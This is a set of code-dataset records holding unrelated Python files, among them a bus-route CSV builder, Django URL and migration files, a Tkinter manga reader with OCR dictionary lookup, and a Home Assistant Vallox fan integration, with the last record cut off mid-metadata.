start=[str(data['busstops'][index-1]['id']),\n # str(data['busstops'][index-1]['location']),\n # str(data['busstops'][index-1]['name'])]\n #\n # stop=[str(data['busstops'][index]['id']),\n # str(data['busstops'][index]['location']),\n # str(data['busstops'][index]['name'])]\n #\n # bus_stop_to_stop.append(*[start+stop])\n\n return filename,keys,businfo,busstops#bus_stops,bus_stop_to_stop\n\ndef check_dir(d):\n d = os.path.abspath(d)\n if not os.path.exists(d):\n os.makedirs(d)\n return d\n\n\nsourcedir = check_dir('./result')\noutputdir = check_dir('./output')\nall_stops=[]\nall_stop_to_stop=[]\n\nno=pandas.read_csv('不要的车站.csv',encoding='utf-8-sig')\nno=list(no['id'])\n# print(no)\n# no=[]\n\ndistances={}\ndistance_df=pandas.read_csv('站与站含距离-完整.csv',encoding='utf-8-sig')\ndistance_df.fillna('0',inplace=True)\nfor index,record in distance_df.iterrows():\n sid=record['sid']\n slocation=record['slocation']\n sname=record['sname']\n eid=record['eid']\n elocation=record['elocation']\n ename=record['ename']\n distance=record['distance']\n duration=record['duration']\n p2p_distance=record['p2p_distance']\n distances[sid,sname,eid,ename]=[distance,duration,p2p_distance]\n#\n# print(distances)\n\nfor basepath, filename, extname in get_files_in_dir(sourcedir, ['json']):\n # print(basepath, filename, extname)\n source_file_path = os.path.join(basepath, filename + extname)\n busline=parse(source_file_path,no)\n if busline:\n name,keys,businfo,busstops=busline\n output_all_file_path = os.path.join(outputdir, name + '_all.csv')\n output_bus_distance_file_path = os.path.join(outputdir, name + '_bus_distance.csv')\n output_bus_duration_file_path = os.path.join(outputdir, name + '_bus_duration.csv')\n output_linear_distance_file_path = os.path.join(outputdir, name + '_linear_distance.csv')\n\n # for i in busstops:\n # print(i)\n\n\n\n a=['\\n'.join(x) for x in busstops]\n write_csv(output_all_file_path,businfo+a,keys)\n\n b = [busstop[0]+'\\n'+busstop[1] +'\\n'+busstop[2] for busstop in busstops]\n write_csv(output_bus_distance_file_path, businfo+b, keys)\n\n c = [busstop[0] + '\\n' + busstop[1] + '\\n' + busstop[3] for busstop in busstops]\n write_csv(output_bus_duration_file_path, businfo+c, keys)\n\n d = [busstop[0] + '\\n' + busstop[1] + '\\n' + busstop[4] for busstop in busstops]\n write_csv(output_linear_distance_file_path, businfo+d, keys)\n\n\n# all_stops+=stops\n# all_stop_to_stop+=stop_to_stop\n#\n#\n# all_stops=pandas.DataFrame(all_stops)\n# all_stops.columns=['id','location','name']\n# # all_stops.drop_duplicates(inplace=True)\n# all_stops.drop_duplicates(subset=['id','name'],inplace=True)\n#\n# all_stop_to_stop=pandas.DataFrame(all_stop_to_stop)\n# all_stop_to_stop.columns=['sid','slocation','sname','eid','elocation','ename']\n# all_stop_to_stop.insert(6,column='distance',value=None)\n# all_stop_to_stop.insert(7,column='duration',value=None)\n# # all_stop_to_stop.drop_duplicates(inplace=True)\n# all_stop_to_stop.drop_duplicates(subset=['sid','sname','eid','ename'],inplace=True)\n#\n# # all_stops.to_csv('全部车站.csv',index=None,header=True,encoding='utf-8-sig')\n# all_stop_to_stop.to_csv('站与站.csv',index=None,header=True,encoding='utf-8-sig')", "sub_path": "爬虫/Ahhhhhh-高德地图api爬取城市公交信息/3.根据json统计出路线和车站.py", "file_name": "3.根据json统计出路线和车站.py", "file_ext": "py", "file_size_in_byte": 8502, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 24, "usage_type": "call"}, {"api_name": "re.split", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 48, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 52, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 59, "usage_type": "call"}, {"api_name": "json.load", "line_number": 74, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 173, "usage_type": "call"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 174, "usage_type": "call"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 175, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 184, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 190, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 208, "usage_type": "call"}, {"api_name": "os.path", "line_number": 208, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 212, "usage_type": "call"}, {"api_name": "os.path", "line_number": 212, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 214, "usage_type": "call"}, {"api_name": "os.path", "line_number": 214, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 215, "usage_type": "call"}, {"api_name": "os.path", "line_number": 215, "usage_type": "attribute"}]} {"seq_id": "607851125", "text": "\"\"\"openapi\"\"\"\nfrom fastapi import FastAPI\nfrom fastapi.openapi.utils import get_openapi\n\nfrom stac_api.config import ApiExtensions, ApiSettings\n\n\ndef config_openapi(app: FastAPI, settings: ApiSettings):\n \"\"\"config openapi\"\"\"\n\n def custom_openapi():\n \"\"\"config openapi\"\"\"\n if app.openapi_schema:\n return app.openapi_schema\n\n openapi_schema = get_openapi(\n title=\"Sherlock STAC API\", version=\"0.1\", routes=app.routes\n )\n\n if settings.api_extension_is_enabled(ApiExtensions.fields):\n openapi_schema[\"paths\"][\"/search\"][\"get\"][\"responses\"][\"200\"][\"content\"][\n \"application/json\"\n ][\"schema\"] = {\"$ref\": \"#/components/schemas/ItemCollection\"}\n openapi_schema[\"paths\"][\"/search\"][\"post\"][\"responses\"][\"200\"][\"content\"][\n \"application/json\"\n ][\"schema\"] = {\"$ref\": \"#/components/schemas/ItemCollection\"}\n\n app.openapi_schema = openapi_schema\n return app.openapi_schema\n\n app.openapi = custom_openapi\n", "sub_path": "stac_api/openapi.py", "file_name": "openapi.py", "file_ext": "py", "file_size_in_byte": 1047, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "fastapi.FastAPI", "line_number": 8, "usage_type": "name"}, {"api_name": "stac_api.config.ApiSettings", "line_number": 8, "usage_type": "name"}, {"api_name": "fastapi.openapi.utils.get_openapi", "line_number": 16, "usage_type": "call"}, {"api_name": "stac_api.config.ApiExtensions.fields", "line_number": 20, "usage_type": "attribute"}, {"api_name": "stac_api.config.ApiExtensions", "line_number": 20, "usage_type": "name"}]} {"seq_id": "42305886", "text": "# -*- coding: utf-8 -*-\nfrom django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('djack',\n url(r'^create/$', 'views.create'),\n url(r'^$', 'views.list_tweets'),\n url(r'^(?P<tweet_id>\\d+)/?$', 'views.detail_tweet'),\n url(r'^like/(?P<tweet_id>\\d+)/?', 'views.like_process'),\n url(r'^bye/', 'views.bye_user'),\n url(r'^likers/(?P<tweet_id>\\d+)/?', 'views.likers'),\n url(r'^(?P<tweet_id>\\d+)/comment/?', 'views.create_comment'),\n)\n", "sub_path": "coding_dojo/3_tweeter/jack/djack/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 465, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.conf.urls.patterns", "line_number": 4, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 11, "usage_type": "call"}]} {"seq_id": "18172677", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport accounts.models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('accounts', '0004_remove_userdetail_birthday'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='userdetail',\n name='profile_image',\n field=models.ImageField(null=True, blank=True, upload_to=accounts.models.get_image_path),\n preserve_default=True,\n ),\n ]\n", "sub_path": "accounts/migrations/0005_userdetail_profile_image.py", "file_name": "0005_userdetail_profile_image.py", "file_ext": "py", "file_size_in_byte": 529, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 8, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 15, "usage_type": "name"}, {"api_name": "django.db.models.ImageField", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 18, "usage_type": "name"}, {"api_name": "accounts.models.models", "line_number": 18, "usage_type": "attribute"}, {"api_name": "accounts.models", "line_number": 18, "usage_type": "name"}]} {"seq_id": "224699470", "text": "#!/usr/bin/env python\nimport tkinter as tk\nfrom PIL import Image, ImageTk\nimport os\nimport pyocr\nimport pyocr.builders\nimport myougiden_api\nimport threading\ntool = pyocr.get_available_tools()[0]\n\ndef best_fit(width, height, image):\n\t(x, y) = image.size\n\tscale = width / x\n\tif y * scale > height:\n\t\tscale = height / y\n\t#print(scale)\n\treturn image.resize((int(x * scale), int(y * scale)), Image.BILINEAR)\n\n\nclass LookupThread(threading.Thread):\n\tdef run(self):\n\t\tself.dirty = False\n\t\timage, app = (self._args)\n\t\ttry:\n\t\t\tstring = app.image_to_dict(image)\n\t\t\tif not self.dirty:\n\t\t\t\tapp.draw_dict(string)\n\t\t\t\n\t\tfinally:\n\t\t\t# Avoid a refcycle if the thread is running a function with\n\t\t\t# an argument that has a member that points to the thread.\n\t\t\tdel self._target, self._args, self._kwargs\n\n\nclass Application(tk.Frame):\n\tdef __init__(self, master=None):\n\t\ttk.Frame.__init__(self, master)\n\t\tif os.path.isfile(\"last_page\"):\n\t\t\tlast_page = open(\"last_page\", \"r\")\n\t\t\ttry:\n\t\t\t\tself.current_page = int(last_page.read())\n\t\t\texcept:\n\t\t\t\tself.current_page = 0\n\t\t\tlast_page.close()\n\t\telse:\n\t\t\tself.current_page = 0\n\t\tself.pack(fill=tk.BOTH, expand=1)\n\t\tself.createWidgets()\n\t\tself.current_page_oid = 0\n\t\tself.current_page_image = None\n\t\tself.drawing_box = False\n\t\tself.box_oid = 0\n\t\tself.box_coords = (0, 0, 0, 0)\n\t\tself.lookup = None\n\t\tself.tkimage = None\n\t\tself.rotation = 0\n\t\tself.fullscreen = False\n\n\tdef createWidgets(self):\n\t\t#self.quitButton = tk.Button(self, text='Quit',\n\t\t#\tcommand=self.quit)\n\t\t#self.quitButton.grid()\n\t\tself.update()\n\t\t(width, height) = (self.winfo_width(), self.winfo_height())\n\t\tself.frame = tk.Canvas(self, width=width, height=height, cursor=\"tcross\")\n\t\tself.frame.pack(fill=tk.BOTH)\n\t\tself.frame.bind('<Left>', self.next_image)\n\t\tself.frame.bind('<Right>', self.prev_image)\n\t\t#self.frame.bind('<r>', self.rotate)\n\t\tself.frame.bind('<Configure>', self.resize_event)\n\t\tself.frame.focus_set()\n\t\tself.frame.bind('<Button-1>', self.start_drawing_box)\n\t\tself.frame.bind('<ButtonRelease-1>', self.stop_drawing_box)\n\t\tself.frame.bind('<Double-Button-1>', self.clear_box)\n\t\tself.frame.bind('<Button-2>', self.side_tap)\n\t\tself.frame.bind('<Motion>', self.draw_box)\n\t\tself.frame.bind('<F11>', self.toggle_fullscreen)\n\t\n\tdef toggle_fullscreen(self, event=None):\n\t\tself.fullscreen = not self.fullscreen # Just toggling the boolean\n\t\tself.master.attributes(\"-fullscreen\", self.fullscreen)\n\t\tself.update_screen()\n\t\n\tdef side_tap(self, event):\n\t\tif event.x < (self.frame.winfo_width() / 2):\n\t\t\tself.change_image(1)\n\t\telse:\n\t\t\tself.change_image(-1)\n\t\n\tdef resize_event(self, event):\n\t\tself.frame.width = event.width #>>>854\n\t\tself.frame.height = event.height #>>>404\n\t\tself.frame.config(width=self.frame.width, height=self.frame.height)\n\t\tself.update_screen()\n\t\n\tdef update_screen(self):\n\t\tself.change_image(0)\n\t\n\tdef rotate(self, event):\n\t\tself.rotation = (self.rotation + 1) % 4\n\t\tself.update_screen()\n\t\n\tdef clear_box(self, event):\n\t\tself.drawing_box = False\t\t\n\t\tif self.box_oid != 0:\n\t\t\tself.frame.delete(self.box_oid)\n\t\tself.frame.delete(\"text\")\n\t\tself.frame.delete(\"selection\")\n\tdef start_drawing_box(self, event):\n\t\ttextbox = self.frame.bbox(\"text\")\n\t\tselectionbox = self.frame.bbox(self.box_oid)\n\t\tfor bbox in textbox, selectionbox:\n\t\t\tif bbox is not None:\n\t\t\t\t(x, y, x2, y2) = bbox\n\t\t\t\tmx = event.x\n\t\t\t\tmy = event.y\n\t\t\t\tif mx > x and mx < x2 and my > y and my < y2:\n\t\t\t\t\tself.clear_box(None)\n\t\t\t\t\treturn\n\t\t\n\t\tself.drawing_box = True\n\t\tx = event.x\n\t\ty = event.y\n\t\tself.box_coords = (x, y, x, y)\n\t\tif self.box_oid != 0:\n\t\t\tself.frame.delete(self.box_oid)\n\t\tself.box_oid = self.frame.create_rectangle(x, y, x, y, fill=\"black\", stipple=\"gray50\")\n\t\tself.frame.addtag_withtag(\"selection\", self.box_oid)\n\t\n\tdef stop_drawing_box(self, event):\n\t\ttry:\n\t\t\tself.drawing_box = False\n\t\t\t(ix, iy, ix2, iy2) = self.frame.bbox(self.current_page_oid)\n\t\t\t(bx, by, bx2, by2) = self.frame.bbox(self.box_oid)\n\t\t\tpx = (bx - ix) / (ix2 - ix)\n\t\t\tpy = (by - iy) / (iy2 - iy)\n\t\t\tpx2 = (bx2 - ix) / (ix2 - ix)\n\t\t\tpy2 = (by2 - iy)/ (iy2 - iy)\n\t\t\t#print(\"%f, %f, %f, %f\" % (px, py, px2, py2))\n\t\t\n\t\t\t(width, height) = self.current_page_image.size\n\t\t\tcx = int(px * width)\n\t\t\tcx2 = int(px2 * width)\n\t\t\tcy = int(py * height)\n\t\t\tcy2 = int(py2 * height)\n\t\t\t#print(\"%d, %d, %d, %d\" % (cx, cy, cx2, cy2))\n\t\t\tocr_image = self.current_page_image.crop((cx, cy, cx2, cy2))\n\t\t\t#draw = ImageDraw.Draw(self.current_page_image)\n\t\t\t#draw.rectangle([cx, cy, cx2, cy2], outline=\"black\")\n\t\t\t#ocr_image = image\n\t\t\tif self.lookup is not None:\n\t\t\t\tself.lookup.dirty = True\n\t\t\tself.lookup = LookupThread(args=(ocr_image,self))\n\t\t\tself.lookup.start()\n\t\t\t#self.image_to_dict(ocr_image)\n\t\texcept:\n\t\t\tpass\n\t\t\n\t\t\n\t\t\n\tdef draw_box(self, event):\n\t\tif not self.drawing_box:\n\t\t\treturn\n\t\t(x, y, x2, y2) = self.box_coords\n\t\tx2 = event.x\n\t\ty2 = event.y\n\t\tself.box_coords = (x, y, x2, y2)\n\t\tself.frame.delete(self.box_oid)\n\t\tself.box_oid = self.frame.create_rectangle(x, y, x2, y2, outline=\"#00AA00\", fill=\"#00AA00\", stipple=\"gray50\")\n\t\n\tdef change_image(self, amount):\n\t\tself.clear_box(None)\n\t\tnew_page = self.current_page + amount\n\t\tif new_page < 0 or new_page > len(images) - 2:\n\t\t\treturn\n\t\tself.current_page = new_page\n\t\timage = Image.open(images[self.current_page])\n\t\tif self.rotation != 0:\n\t\t\timage = image.rotate(-90 * self.rotation)\n\t\t(width, height) = (self.frame.winfo_width(), self.frame.winfo_height())\n\t\timage = best_fit(width, height, image)\n\t\tself.tkimage = ImageTk.PhotoImage(image)\n\t\tself.frame.delete(self.current_page_oid)\n\t\tself.current_page_oid = self.frame.create_image(int(width/2), 0, image=self.tkimage, anchor=tk.N)\n\t\tself.current_page_image = image\n\t\tlast_page = open(\"last_page\", \"w\")\n\t\tlast_page.write(str(self.current_page))\n\t\tlast_page.close()\n\t\n\t\n\tdef prev_image(self, event):\n\t\tself.change_image(-1)\n\t\n\tdef next_image(self, event):\n\t\tself.change_image(1)\n\t\t\n\tdef image_to_dict(self, image):\n\t\tsize = image.size\n\t\timage = image.resize((size[0] * 2, size[1] * 2), Image.BILINEAR)\n\t\tstring = tool.image_to_string(image, lang=\"jpn\", builder=pyocr.builders.TextBuilder(5))\n\t\tstring = string.strip()\n\t\tif string != \"\":\n\t\t\tdict_entry = myougiden_api.run([string])\n\t\telse:\n\t\t\tdict_entry = None\n\t\t\tstring = \"No character recognized\"\n\t\t#image.save(\"/tmp/export.png\")\n\t\tif dict_entry is not None and string != \"No character recognized\":\n\t\t\tstring = \"\\n\".join(dict_entry)\n\t\telse:\n\t\t\tdict_entry = myougiden_api.run(string[:-1])\n\t\t\tdict_entry2 = myougiden_api.run(string[1:])\n\t\t\tdict_entry3 = myougiden_api.run(string[1:])\n\t\t\tresult = \"\"\n\t\t\tresult2 = \"\"\n\t\t\tresult3 = \"\"\n\t\t\tif dict_entry is not None:\n\t\t\t\tresult = \"\\n\".join(dict_entry)\n\t\t\tif dict_entry2 is not None:\n\t\t\t\tresult2 = \"\\n\".join(dict_entry2)\n\t\t\tif dict_entry2 is not None:\n\t\t\t\tresult3 = \"\\n\".join(dict_entry3)\n\t\t\tstring = result + result2 + result3\n\t\tprint(string)\n\t\treturn string\n\t\n\tdef draw_dict(self, string):\n\t\tself.text = self.frame.create_text(5, 5, width=500, anchor=tk.NW, text=string)\n\t\tself.frame.addtag_withtag(\"text\", self.text)\n\t\t(x, y, x2, y2) = self.frame.bbox(self.text)\n\t\tself.textbox = self.frame.create_rectangle(x, y, x2, y2, fill=\"white\", outline=\"white\")\n\t\tself.frame.addtag_withtag(\"text\", self.textbox)\n\t\tself.frame.tag_lower(self.textbox, self.text)\n\t\t\n\ndirectory = '/home/klaxa/Images/manga/'\n\nimages = sorted([os.path.join(directory, filename) for filename in os.listdir('/home/klaxa/Images/manga/')])\napp = Application()\napp.master.title('Yurimon reader')\napp.update_screen()\napp.mainloop()\n\n", "sub_path": "Reader.py", "file_name": "Reader.py", "file_ext": "py", "file_size_in_byte": 7447, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyocr.get_available_tools", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 17, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 17, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tkinter.Frame", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tkinter.Frame.__init__", "line_number": 37, "usage_type": "call"}, {"api_name": "tkinter.Frame", "line_number": 37, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tkinter.BOTH", "line_number": 47, "usage_type": "attribute"}, {"api_name": "tkinter.Canvas", "line_number": 65, "usage_type": "call"}, {"api_name": "tkinter.BOTH", "line_number": 66, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 177, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 177, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 182, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 182, "usage_type": "name"}, {"api_name": "tkinter.N", "line_number": 184, "usage_type": "attribute"}, {"api_name": "PIL.Image.BILINEAR", "line_number": 199, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 199, "usage_type": "name"}, {"api_name": "pyocr.builders.TextBuilder", "line_number": 200, "usage_type": "call"}, {"api_name": "pyocr.builders", "line_number": 200, "usage_type": "attribute"}, {"api_name": "myougiden_api.run", "line_number": 203, "usage_type": "call"}, {"api_name": "myougiden_api.run", "line_number": 211, "usage_type": "call"}, {"api_name": "myougiden_api.run", "line_number": 212, "usage_type": "call"}, {"api_name": "myougiden_api.run", "line_number": 213, "usage_type": "call"}, {"api_name": "tkinter.NW", "line_number": 228, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 238, "usage_type": "call"}, {"api_name": "os.path", "line_number": 238, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 238, "usage_type": "call"}]} {"seq_id": "129118895", "text": "\"\"\"Support for the Vallox ventilation unit fan.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Mapping\nimport logging\nfrom typing import Any, NamedTuple\n\nfrom vallox_websocket_api import Vallox\nfrom vallox_websocket_api.exceptions import ValloxApiException\n\nfrom homeassistant.components.fan import (\n FanEntity,\n FanEntityFeature,\n NotValidPresetModeError,\n)\nfrom homeassistant.config_entries import ConfigEntry\nfrom homeassistant.core import HomeAssistant\nfrom homeassistant.helpers.entity_platform import AddEntitiesCallback\nfrom homeassistant.helpers.typing import StateType\n\nfrom . import ValloxDataUpdateCoordinator, ValloxEntity\nfrom .const import (\n DOMAIN,\n METRIC_KEY_MODE,\n METRIC_KEY_PROFILE_FAN_SPEED_AWAY,\n METRIC_KEY_PROFILE_FAN_SPEED_BOOST,\n METRIC_KEY_PROFILE_FAN_SPEED_HOME,\n MODE_OFF,\n MODE_ON,\n STR_TO_VALLOX_PROFILE_SETTABLE,\n VALLOX_PROFILE_TO_STR_SETTABLE,\n)\n\n_LOGGER = logging.getLogger(__name__)\n\n\nclass ExtraStateAttributeDetails(NamedTuple):\n \"\"\"Extra state attribute details.\"\"\"\n\n description: str\n metric_key: str\n\n\nEXTRA_STATE_ATTRIBUTES = (\n ExtraStateAttributeDetails(\n description=\"fan_speed_home\", metric_key=METRIC_KEY_PROFILE_FAN_SPEED_HOME\n ),\n ExtraStateAttributeDetails(\n description=\"fan_speed_away\", metric_key=METRIC_KEY_PROFILE_FAN_SPEED_AWAY\n ),\n ExtraStateAttributeDetails(\n description=\"fan_speed_boost\", metric_key=METRIC_KEY_PROFILE_FAN_SPEED_BOOST\n ),\n)\n\n\ndef _convert_fan_speed_value(value: StateType) -> int | None:\n if isinstance(value, (int, float)):\n return int(value)\n\n return None\n\n\nasync def async_setup_entry(\n hass: HomeAssistant, entry: ConfigEntry, async_add_entities: AddEntitiesCallback\n) -> None:\n \"\"\"Set up the fan device.\"\"\"\n data = hass.data[DOMAIN][entry.entry_id]\n\n client = data[\"client\"]\n client.set_settable_address(METRIC_KEY_MODE, int)\n\n device = ValloxFanEntity(\n data[\"name\"],\n client,\n data[\"coordinator\"],\n )\n\n async_add_entities([device])\n\n\nclass ValloxFanEntity(ValloxEntity, FanEntity):\n \"\"\"Representation of the fan.\"\"\"\n\n _attr_supported_features = FanEntityFeature.PRESET_MODE\n _attr_has_entity_name = True\n\n def __init__(\n self,\n name: str,\n client: Vallox,\n coordinator: ValloxDataUpdateCoordinator,\n ) -> None:\n \"\"\"Initialize the fan.\"\"\"\n super().__init__(name, coordinator)\n\n self._client = client\n\n self._attr_unique_id = str(self._device_uuid)\n\n @property\n def preset_modes(self) -> list[str]:\n \"\"\"Return a list of available preset modes.\"\"\"\n # Use the Vallox profile names for the preset names.\n return list(STR_TO_VALLOX_PROFILE_SETTABLE.keys())\n\n @property\n def is_on(self) -> bool:\n \"\"\"Return if device is on.\"\"\"\n return self.coordinator.data.get_metric(METRIC_KEY_MODE) == MODE_ON\n\n @property\n def preset_mode(self) -> str | None:\n \"\"\"Return the current preset mode.\"\"\"\n vallox_profile = self.coordinator.data.profile\n return VALLOX_PROFILE_TO_STR_SETTABLE.get(vallox_profile)\n\n @property\n def extra_state_attributes(self) -> Mapping[str, int | None]:\n \"\"\"Return device specific state attributes.\"\"\"\n data = self.coordinator.data\n\n return {\n attr.description: _convert_fan_speed_value(data.get_metric(attr.metric_key))\n for attr in EXTRA_STATE_ATTRIBUTES\n }\n\n async def _async_set_preset_mode_internal(self, preset_mode: str) -> bool:\n \"\"\"\n Set new preset mode.\n\n Returns true if the mode has been changed, false otherwise.\n \"\"\"\n try:\n self._valid_preset_mode_or_raise(preset_mode)\n\n except NotValidPresetModeError as err:\n _LOGGER.error(err)\n return False\n\n if preset_mode == self.preset_mode:\n return False\n\n try:\n await self._client.set_profile(STR_TO_VALLOX_PROFILE_SETTABLE[preset_mode])\n\n except (OSError, ValloxApiException) as err:\n _LOGGER.error(\"Error setting preset: %s\", err)\n return False\n\n return True\n\n async def async_set_preset_mode(self, preset_mode: str) -> None:\n \"\"\"Set new preset mode.\"\"\"\n update_needed = await self._async_set_preset_mode_internal(preset_mode)\n\n if update_needed:\n # This state change affects other entities like sensors. Force an immediate update that\n # can be observed by all parties involved.\n await self.coordinator.async_request_refresh()\n\n async def async_turn_on(\n self,\n percentage: int | None = None,\n preset_mode: str | None = None,\n **kwargs: Any,\n ) -> None:\n \"\"\"Turn the device on.\"\"\"\n _LOGGER.debug(\"Turn on\")\n\n update_needed = False\n\n if preset_mode:\n update_needed = await self._async_set_preset_mode_internal(preset_mode)\n\n if not self.is_on:\n try:\n await self._client.set_values({METRIC_KEY_MODE: MODE_ON})\n\n except OSError as err:\n _LOGGER.error(\"Error turning on: %s\", err)\n\n else:\n update_needed = True\n\n if update_needed:\n # This state change affects other entities like sensors. Force an immediate update that\n # can be observed by all parties involved.\n await self.coordinator.async_request_refresh()\n\n async def async_turn_off(self, **kwargs: Any) -> None:\n \"\"\"Turn the device off.\"\"\"\n if not self.is_on:\n return\n\n try:\n await self._client.set_values({METRIC_KEY_MODE: MODE_OFF})\n\n except OSError as err:\n _LOGGER.error(\"Error turning off: %s\", err)\n return\n\n # Same as for turn_on method.\n await self.coordinator.async_request_refresh()\n", "sub_path": "homeassistant/components/vallox/fan.py", "file_name": "fan.py", "file_ext": "py", "file_size_in_byte": 5955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 34, "usage_type": "call"}, {"api_name": "typing.NamedTuple", "line_number": 37, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_PROFILE_FAN_SPEED_HOME", "line_number": 46, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_PROFILE_FAN_SPEED_AWAY", "line_number": 49, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_PROFILE_FAN_SPEED_BOOST", "line_number": 52, "usage_type": "name"}, {"api_name": "homeassistant.helpers.typing.StateType", "line_number": 57, "usage_type": "name"}, {"api_name": "homeassistant.core.HomeAssistant", "line_number": 65, "usage_type": "name"}, {"api_name": "homeassistant.config_entries.ConfigEntry", "line_number": 65, "usage_type": "name"}, {"api_name": "homeassistant.helpers.entity_platform.AddEntitiesCallback", "line_number": 65, "usage_type": "name"}, {"api_name": "const.DOMAIN", "line_number": 68, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_MODE", "line_number": 71, "usage_type": "argument"}, {"api_name": "homeassistant.components.fan.FanEntity", "line_number": 82, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.FanEntityFeature.PRESET_MODE", "line_number": 85, "usage_type": "attribute"}, {"api_name": "homeassistant.components.fan.FanEntityFeature", "line_number": 85, "usage_type": "name"}, {"api_name": "vallox_websocket_api.Vallox", "line_number": 91, "usage_type": "name"}, {"api_name": "const.STR_TO_VALLOX_PROFILE_SETTABLE.keys", "line_number": 105, "usage_type": "call"}, {"api_name": "const.STR_TO_VALLOX_PROFILE_SETTABLE", "line_number": 105, "usage_type": "name"}, {"api_name": "const.METRIC_KEY_MODE", "line_number": 110, "usage_type": "argument"}, {"api_name": "const.MODE_ON", "line_number": 110, "usage_type": "name"}, {"api_name": "const.VALLOX_PROFILE_TO_STR_SETTABLE.get", "line_number": 116, "usage_type": "call"}, {"api_name": "const.VALLOX_PROFILE_TO_STR_SETTABLE", "line_number": 116, "usage_type": "name"}, {"api_name": "collections.abc.Mapping", "line_number": 119, "usage_type": "name"}, {"api_name": "homeassistant.components.fan.NotValidPresetModeError", "line_number": 137, "usage_type": "name"}, {"api_name": "const.STR_TO_VALLOX_PROFILE_SETTABLE", "line_number": 145, "usage_type": "name"}, {"api_name": "vallox_websocket_api.exceptions.ValloxApiException", "line_number": 147, "usage_type": "name"}, {"api_name": "typing.Any", 